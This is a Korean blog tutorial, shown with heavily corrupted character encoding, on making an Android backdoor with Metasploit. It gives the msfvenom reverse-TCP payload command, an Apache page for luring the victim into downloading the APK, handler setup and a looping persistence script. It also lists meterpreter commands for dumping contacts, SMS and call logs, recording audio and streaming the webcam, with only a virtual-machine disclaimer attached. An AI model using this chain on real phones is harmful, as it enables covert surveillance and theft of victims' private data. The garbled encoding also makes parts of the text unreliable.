๐Ÿ’ป๋ชจ์˜ํ•ดํ‚น/Android

Android Metasploit ์•ˆ๋“œ๋กœ์ด๋“œ ํ•ดํ‚น

Mark930.k 2019. 5. 23. 12:52

Metasploit์„ ์ด์šฉํ•œ Android Backdoor ๋งŒ๋“ค๊ธฐ

 

โ€ป ์™ธ๋ถ€ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•œ ๋ถˆ๋ฒ•์ ์ธ ํ•ดํ‚น์€ ๋ฒ”์ฃ„ ํ–‰์œ„์ž…๋‹ˆ๋‹ค. โ€ป

โ€ป ์ด ๋ธ”๋กœ๊ทธ์˜ ๋ชจ์˜ํ•ดํ‚น ๊ธ€์€ ๊ฐ€์ƒ ๋จธ์‹ ์„ ํ†ตํ•ด์„œ ์ด๋ฃจ์–ด์ง„ ๋ชจ์˜ํ•ดํ‚น์ž…๋‹ˆ๋‹ค. โ€ป

 

โ–ก Metasploit์€ ๋ฌด์—‡์ธ๊ฐ€?

๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡์€ ์˜คํ”ˆ์†Œ์Šค ๋„๊ตฌ๋กœ, ๊ณต๊ฒฉ ์ฝ”๋“œ, ํŽ˜์ด๋กœ๋“œ ์ธ์ฝ”๋”, ์ •์ฐฐ ๋„๊ตฌ, ๋ณด์•ˆ ํ…Œ์ŠคํŒ… ๋“ฑ์„ ์ œ๊ณตํ•˜๋Š” ์ผ์ข…์˜ ์ฒด๊ณ„์ด๋‹ค.

 

 

โ–ก ๋ฌด์—‡์„ ๋ณด์—ฌ์ค„ ๊ฒƒ์ธ๊ฐ€?

Metasploit์„ ์ด์šฉํ•˜์—ฌ Android ๋ฐฑ๋„์–ด ํ”„๋กœ๊ทธ๋žจ์„ ๋งŒ๋“ค์–ด์„œ ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•ด, Android ํœด๋Œ€ํฐ์˜ ์ •๋ณด๋“ค์„ ๋นผ ์˜ฌ ๊ฒƒ์ด๋‹ค.

 

 

โ–ก ๋‚ด์šฉ

1. ์•ˆ๋“œ๋กœ์ด๋“œ ํ•ดํ‚น ๋ฐฑ๋„์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋งŒ๋“ค๋ ค๋ฉด ๋จผ์ € ๊ณต๊ฒฉ์ž์˜ ์•„์ดํ”ผ๋ฅผ ์•Œ์•„์•ผ ํ•œ๋‹ค.

 

 

ifconfig๋ฅผ ์ž…๋ ฅํ•ด์„œ IP ์ •๋ณด๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

 

 

 

2. msfvenom์„ ์ด์šฉํ•ด์„œ ๋ฐฑ๋„์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ƒ์„ฑ์‹œํ‚จ๋‹ค.

 

 

 

msfvenom -p android/meterpreter/reverse_tcp LHOST=[๊ณต๊ฒฉ์ž IP] LPORT=[์ž„์˜์  ํฌํŠธ] R > [APK ํŒŒ์ผ ์ƒ์„ฑ ๊ฒฝ๋กœ]

 

 


โ–  msfvenom๊ณผ ํ”„๋กœ๊ทธ๋žจ์— ๋”ฐ๋ฅธ ์˜ต์…˜์— ๋Œ€ํ•ด์„œ

 

โ–ถ msfvenom ์ด๋ž€?

msfvenom์€ ์•ˆ๋“œ๋กœ์ด๋“œ์— Backdoor์„ ๋งŒ๋“ค์–ด์„œ root ๊ถŒํ•œ์„ ํš๋“ํ•˜์—ฌ ์—ฐ๋ฝ์ฒ˜, ์ตœ๊ทผ ํ†ตํ™”๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ค๊ณ  ์นด๋ฉ”๋ผ๋ฅผ ์ œ์–ดํ•˜๋Š” ๋“ฑ์˜ ์—ฌ๋Ÿฌ๊ฐ€์ง€ ์ทจ์•ฝ์  ์ง„๋‹จ์„ ํ•  ์ˆ˜ ์žˆ๋Š” Metasploit์˜ ๊ธฐ๋Šฅ์ด๋‹ค.

 

 

โ–ถ PAYLOAD(-p)๋ž€?

์ต์Šคํ”Œ๋กœ์ž‡ ์„ฑ๊ณต ํ›„ ๋Œ€์ƒ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ๊ณต๊ฒฉ์„ ์œ„ํ•œ ์ฝ”๋“œ ๋ชจ์Œ์ด๋‹ค.

 

 

msfvenom -l์„ ์ž…๋ ฅํ•˜๋ฉด Payload ๋ฆฌ์ŠคํŠธ๋“ค์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

 

โ–ถ R > [APK ํŒŒ์ผ ์ƒ์„ฑ ๊ฒฝ๋กœ]

APK ํŒŒ์ผ ์ƒ์„ฑ ๊ฒฝ๋กœ ์„ค์ •


 

3. APK ํŒŒ์ผ์„ ๋‹ค์šด๋ฐ›์„ ์ˆ˜ ์žˆ๊ฒŒ ๋„์™€์ฃผ๋Š” ์•„ํŒŒ์น˜ ์›น์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•ด์ค€๋‹ค.

 

 

service apache2 start

์•„ํŒŒ์น˜ ์›น ์„œ๋ฒ„ ๊ฒฝ๋กœ: /var/www/html

 

 

4. ์›นํŽ˜์ด์ง€๋ฅผ ์ ‘์†ํ•˜์ž๋งˆ์ž ๋‹ค์šด๋กœ๋“œ ์‚ฌ์ดํŠธ๊ฐ€ ๋‚˜์˜ค๊ฒŒ ํ•  ๊ฒƒ์ด๋‹ค. 

 

 

/var/www/html/index.html์„ ์ˆ˜์ •

 


โ–ท msfconsole์„ ๋„์šฐ๊ธฐ ์ „์— ๋จผ์ € ์‚ฌ์šฉํ•  ๋ชจ๋“ˆ์— ๋Œ€ํ•ด ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•œ๋‹ค.

 

 

โ–  ๋ชจ๋“ˆ์ด๋ž€?

metasploit framework์— ์˜ํ•ด ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ์†Œํ”„ํŠธ์›จ์–ด์˜ ํ•œ ๋ถ€๋ถ„

 

 

โ–  ๋ชจ๋“ˆ์— ๊ด€ํ•œ ์ •๋ณด๋“ค์€ ์–ด๋–ป๊ฒŒ ์ฐพ๋‚˜?

 

1. msfconsole ์ฐฝ์—์„œ search๋ฅผ ์ž…๋ ฅํ•ด์ค€๋‹ค.

 

 

2. ์‚ฌ์šฉํ•  ๋ชจ๋“ˆ : exploit/multi/handler๋ฅผ ์ฐพ์•„์ค€๋‹ค.

 

 

3. ๋ช…๋ น์–ด : info exploit/multi/handler๋กœ ํ•ด๋‹น ๋ชจ๋“ˆ์— ๋Œ€ํ•œ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

 


 

5. ํ„ฐ๋ฏธ๋„์— msfconsole์„ ์ž…๋ ฅํ•œ๋‹ค.

 

 

 

msfconsole: ์ฝ˜์†” ๊ธฐ๋ฐ˜ ์ธํ„ฐํŽ˜์ด์Šค๋กœ ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡์˜ ๋Œ€๋ถ€๋ถ„ ๊ธฐ๋Šฅ์„ ์ง€์›

 

 

6. ์ฐพ์•„๋‚ธ ๋ชจ๋“ˆ์„ msfconsole์— ์ž…๋ ฅํ•œ๋‹ค.

 

 

7. ์•ˆ๋“œ๋กœ์ด๋“œ ๋ฐฑ๋„์–ด ์•ฑ์„ ๋งŒ๋“ค์–ด์ค„ ๋•Œ ์„ค์ •ํ•œ PAYLOAD๋ฅผ ์ฝ˜์†” ์ฐฝ์— ์ž…๋ ฅํ•œ๋‹ค.

 

 

set PAYLOAD [์„ค์ •ํ•œ payload]

 

 

8. ๊ณต๊ฒฉ์ž IP ์„ค์ •

 

 

set LHOST [ ๊ณต๊ฒฉ์ž IP ]

 

 

9. PORT ์„ค์ •

 

 

 

 

 

set LPORT [๋ฐฑ๋„์–ด ์•ฑ๊ณผ ํ†ต์‹ ํ•  ํฌํŠธ ์„ค์ •]

 

 

 

 

 

 

10. ๋งˆ์ง€๋ง‰์œผ๋กœ exploit์„ ์ž…๋ ฅํ•œ ๋’ค, ์‚ฌ์šฉ์ž๊ฐ€ ๋ฐฑ๋„์–ด ์•ฑ์„ ์‹คํ–‰ํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ ค์ค€๋‹ค.

 

11. ์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์—์„œ ์•„ํŒŒ์น˜ ์„œ๋ฒ„๋ฅผ ์ ‘์†ํ•ด์ค€๋‹ค.

 

 

๋‹ค์šด๋กœ๋“œ ๋งํฌ๋ฅผ ํด๋ฆญํ•ด์„œ ์•ฑ์„ ๋‹ค์šด๋กœ๋“œํ•œ๋‹ค.

 

 

12. ์•ฑ์ด ์„ค์น˜๊ฐ€ ์™„๋ฃŒ๋˜์—ˆ๋‹ค๋ฉด ์•ฑ์„ ์‹คํ–‰์‹œ์ผœ์ค€๋‹ค.

 

13. msfconsole์—๋Š” ์„ธ์…˜์ด ์‹œ์ž‘๋๋‹ค๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ๋œฌ๋‹ค.

 

14. ์„ธ์…˜์ด ๋Š์–ด์งˆ ์ƒํ™ฉ์— ๋Œ€๋น„ํ•ด์„œ ์‰˜ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ์„ ๋งŒ๋“ ๋‹ค.

 


โ–  ์‰˜ ์Šคํฌ๋ฆฝํŠธ

 

#!/bin/bash //์‚ฌ์šฉํ•˜๋ ค๋Š” ๋ช…๋ น์–ด ํ•ด์„๊ธฐ๊ฐ€ bash ์‰˜ ์ž„์„ ๋ฏธ๋ฆฌ ์•Œ๋ ค์ฃผ๋Š” ๊ฒƒ์ด๋‹ค.

while : //์•„๋ž˜์˜ ๋ช…๋ น๋“ค์„ ๋ฌดํ•œ๋ฐ˜๋ณต ์‹œ์ผœ์ค€๋‹ค.

    do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity

/*am start: am์€ activity manager์˜ ์•ฝ์ž์ด๊ณ , ์•กํ‹ฐ๋น„ํ‹ฐ๋ฅผ ์‹œ์ž‘ํ•œ๋‹ค.

--user 0: user_id๊ฐ€ 0์ธ ์‚ฌ์šฉ์ž์—๊ฒŒ ์•กํ‹ฐ๋น„ํ‹ฐ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

-n [ํŒจํ‚ค์ง€ ๋ช…]/[์•กํ‹ฐ๋น„ํ‹ฐ ๊ฒฝ๋กœ๋ช…]: /[์•กํ‹ฐ๋น„ํ‹ฐ ๊ฒฝ๋กœ]์—์„œ ํŒจํ‚ค์ง€๋ช…์€ dot(.) ๋กœ ๋Œ€์ฒด ๊ฐ€๋Šฅํ•˜๋‹ค.

*/

sleep 10; //10์ดˆ ์‰ฐ๋‹ค.

done //while๋ฌธ์„ ์ข…๋ฃŒํ•œ๋‹ค.

 

์‰˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ด์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ๋ฐฑ๋„์–ด ์•ฑ์„ 10์ดˆ ๋™์•ˆ ๊ณ„์† ์‹คํ–‰์‹œ์ผœ์ฃผ๋Š” ์—ญํ• ์„ ํ•œ๋‹ค.

 

 

โ–ถ ์•ˆ๋“œ๋กœ์ด๋“œ ํŒจํ‚ค์ง€ ๋ฆฌ์ŠคํŠธ ๋ณด๋Š” ๋ฒ•

adb shell 

์•ˆ๋“œ๋กœ์ด๋“œ ๋ช…๋ น์–ด ํ™˜๊ฒฝ์„ ๊ตฌ์„ฑํ•ด์ค€๋‹ค.

 

pm list packages -f 

-f ์˜ต์…˜์ด ์žˆ์œผ๋ฉด apk ์œ„์น˜๊นŒ์ง€ ํ•จ๊ป˜ ํ‘œ์‹œํ•œ๋‹ค.

 

 

 

๋ฐฑ๋„์–ด ์•ฑ์— ๋Œ€ํ•œ ํŒจํ‚ค์ง€ ๋ช…์„ ์ฐพ์•˜๋‹ค.

 

 

โ–ถ ์•ˆ๋“œ๋กœ์ด๋“œ user list ๋ณด๋Š” ๋ฒ•

 

1. adb shell //์•ˆ๋“œ๋กœ์ด๋“œ ๋ช…๋ น์–ด ํ™˜๊ฒฝ์„ ๊ตฌ์„ฑํ•ด์ค€๋‹ค.

2. ๋ช…๋ น์–ด : pm list users //์•ˆ๋“œ๋กœ์ด๋“œ user์˜ ์„ธ๋ถ€์ •๋ณด๋ฅผ ํ™•์ธํ•œ๋‹ค.

 

 


 

15. ์‰˜ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ์„ ์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์— ์—…๋กœ๋“œ ํ•œ๋‹ค.

 

 

 

 

 

 

cd [์—…๋กœ๋“œ ํ•  ๊ฒฝ๋กœ] cd : ํ˜„์žฌ ๊ฒฝ๋กœ์—์„œ ๋ชฉ์ ์ง€ ๊ฒฝ๋กœ๋กœ ์ด๋™ํ•œ๋‹ค.

upload [์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ ๊ฒฝ๋กœ] [์—…๋กœ๋“œ ํ•  ๊ฒฝ๋กœ] upload : ์—…๋กœ๋“œ ํ•  ํŒŒ์ผ์„ ์จ์ฃผ๊ณ  ์—…๋กœ๋“œ ๋˜๋Š” ๊ฒฝ๋กœ๋ฅผ ์จ์ค€๋‹ค.

 

 

16. ls๋ช…๋ น์–ด๋กœ ํŒŒ์ผ์ด ์ •์ƒ์ ์œผ๋กœ ์—…๋กœ๋“œ ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

 

 

17. shell๋ช…๋ น์–ด๋กœ ์•ˆ๋“œ๋กœ์ด๋“œ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋„๋ก ์‰˜ ํ™˜๊ฒฝ์œผ๋กœ ๋งŒ๋“ ๋‹ค.

 

 

18-1. cd /sdcard //script.sh ํŒŒ์ผ์„ ๋™์ž‘์‹œํ‚ค๊ธฐ ์œ„ํ•ด ํŒŒ์ผ์ด ์žˆ๋Š” ๊ฒฝ๋กœ๋กœ ์ด๋™ํ•œ๋‹ค.

18-2. sh script.sh //sh ๋ช…๋ น์–ด๋กœ script.sh ํŒŒ์ผ์„ ์‹คํ–‰ํ•œ๋‹ค.

18-3. script.sh //ํŒŒ์ผ์ด ์‹คํ–‰์ด ์‹œ์ž‘๋˜์—ˆ๋‹ค๋Š” ๋ฌธ๊ตฌ๋ฅผ ๋ดค๋‹ค๋ฉด ๋‹จ์ถ•ํ‚ค Ctrl+C๋กœ shell ํ™˜๊ฒฝ์„ ๋น ์ ธ๋‚˜์˜จ๋‹ค.

 

 

19. ์•ˆ๋“œ๋กœ์ด๋“œ ์Šค๋งˆํŠธํฐ์„ ์žฌ๋ถ€ํŒ… ์‹œ์ผœ์ค€๋‹ค.

 

 

์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์„ ์žฌ๋ถ€ํŒ… ์‹œํ‚ค๋ฉด msfconsole ์ฐฝ์—๋Š” ์„ธ์…˜์ด ๋Š์–ด์กŒ๋‹ค๊ณ  ๋œฌ๋‹ค.

 

 

20. exploit์„ ์ž…๋ ฅํ•œ ๋’ค, ์•ˆ๋“œ๋กœ์ด๋“œ ์Šค๋งˆํŠธํฐ์ด ๋‹ค์‹œ ๋ถ€ํŒ…๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ ค์ค€๋‹ค.

 

 

10์ดˆ ์‰ฌ์—ˆ๋‹ค๊ฐ€ ๋‹ค์‹œ ์•กํ‹ฐ๋น„ํ‹ฐ๋ฅผ ์‹คํ–‰ํ•ด์ฃผ๋Š” script.sh ํŒŒ์ผ ๋•๋ถ„์— ์„ธ์…˜์ด ๋Š์–ด์ ธ๋„ ๋‹ค์‹œ ์—ฐ๊ฒฐ๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

 

21. help๋ฅผ ์ž…๋ ฅํ•ด์„œ meterpreter์˜ ๋ช…๋ น์–ด๊ฐ€ ๋ฌด์—‡์ด ์žˆ๋Š”์ง€ ์•Œ์•„๋ณธ๋‹ค.

 


 

๋ถ„๋ฅ˜

๋ช…๋ น์–ด

๋‚ด์šฉ

ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด

cd

๋””๋ ‰ํ„ฐ๋ฆฌ ๊ฒฝ๋กœ๋ฅผ ์ด๋™ํ•  ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

ls

๋””๋ ‰ํ„ฐ๋ฆฌ์— ์žˆ๋Š” ๋ชจ๋“  ํŒŒ์ผ ๋ฆฌ์ŠคํŠธ ์›ํ•  ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

rm

ํŒŒ์ผ์„ ์ง€์šธ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

upload

ํŒŒ์ผ์„ ์—…๋กœ๋“œ ์‹œํ‚ค๊ณ  ์‹ถ์„ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

์‹œ์Šคํ…œ ๋ช…๋ น์–ด

ps

ํ˜„์žฌ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค์˜ ๋ฆฌ์ŠคํŠธ๋ฅผ ๋ณด๊ณ  ์‹ถ์„ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

shell

์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์— ๋ช…๋ น์–ด๋ฅผ ์“ฐ๊ณ  ์‹ถ์„ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

sysinfo

๋ฐฑ๋„์–ด๊ฐ€ ๊น”๋ ค ์žˆ๋Š” ์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๋ณด๊ณ  ์‹ถ์„ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

๋„คํŠธ์›Œํฌ ๋ช…๋ น์–ด

ifconfig

์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์— ๋Œ€ํ•œ ๋„คํŠธ์›Œํฌ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์‹ถ์„ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

์•ˆ๋“œ๋กœ์ด๋“œ ๋ช…๋ น์–ด

send_sms

๋ฒˆํ˜ธ๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์ž์‹ ์ด ๋ณด๋‚ผ ๋ฌธ๊ตฌ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋ฐฑ๋„์–ด๊ฐ€ ์„ค์น˜๋œ ์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์œผ๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ผ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

( send_sms d [๋ฒˆํ˜ธ] -t [๋ฉ”์‹œ์ง€ ๋ณด๋‚ผ ๋ฌธ๊ตฌ] )

dump_calllog

์ „ํ™” ๊ธฐ๋ก ๋ฆฌ์ŠคํŠธ๋ฅผ ๊ฐ€์ ธ์˜ฌ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

dump_contacts

์ „ํ™”๋ฒˆํ˜ธ๋ถ€ ๋ฆฌ์ŠคํŠธ๋ฅผ ๊ฐ€์ ธ์˜ฌ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

dump_sms

๋ณด๋‚ธ, ๋ฐ›์€ ๋ฉ”์‹œ์ง€ ๋ฆฌ์ŠคํŠธ๋ฅผ ๊ฐ€์ ธ์˜ฌ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

์›น์บ  ๋ช…๋ น์–ด

record_mic

์•ˆ๋“œ๋กœ์ด๋“œ ํฐ ๋งˆ์ดํฌ ๊ถŒํ•œ์„ ์ด์šฉํ•ด ์˜ค๋””์˜ค๋ฅผ ๋…น์Œ์‹œํ‚ฌ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

( record_mic -d [๋…น์Œํ•˜๊ณ  ์‹ถ์€ ์ดˆ ๋‹จ์œ„] )

webcam_list

์žฅ์น˜์— ์ž…๋ ฅ๋˜์–ด์žˆ๋Š” ์›น์บ  ๋ฆฌ์ŠคํŠธ๋“ค์„ ๋‚˜์—ดํ•  ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

webcam_snap

์žฅ์น˜์— ์ž…๋ ฅ๋˜์–ด ์žˆ๋Š” ์›น์บ ์„ ์ด์šฉํ•ด์„œ ์‚ฌ์ง„์„ ์ฐ์„ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

( webcam_snap -l [list์˜ ๋‚˜์˜จ ๊ฐ’] )

webcam_stream

์žฅ์น˜์— ์ž…๋ ฅ๋˜์–ด ์žˆ๋Š” ์›น์บ ์„ ์ด์šฉํ•ด์„œ ์‹ค์‹œ๊ฐ„ ๋™์˜์ƒ์„ ๋ณด๊ณ  ์‹ถ์„ ๋•Œ ์“ฐ๋Š” ๋ช…๋ น์–ด

( webcam_stream -l [list์˜ ๋‚˜์˜จ ๊ฐ’] )

 


 

โ€ป ์™ธ๋ถ€ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•œ ๋ถˆ๋ฒ•์ ์ธ ํ•ดํ‚น์€ ๋ฒ”์ฃ„ ํ–‰์œ„์ž…๋‹ˆ๋‹ค. โ€ป

โ€ป ์ด ๋ธ”๋กœ๊ทธ์˜ ๋ชจ์˜ํ•ดํ‚น ๊ธ€์€ ๊ฐ€์ƒ ๋จธ์‹ ์„ ํ†ตํ•ด์„œ ์ด๋ฃจ์–ด์ง„ ๋ชจ์˜ํ•ดํ‚น์ž…๋‹ˆ๋‹ค. โ€ป

 

 

 

[์ถœ์ฒ˜] : https://hackerrok.tistory.com/4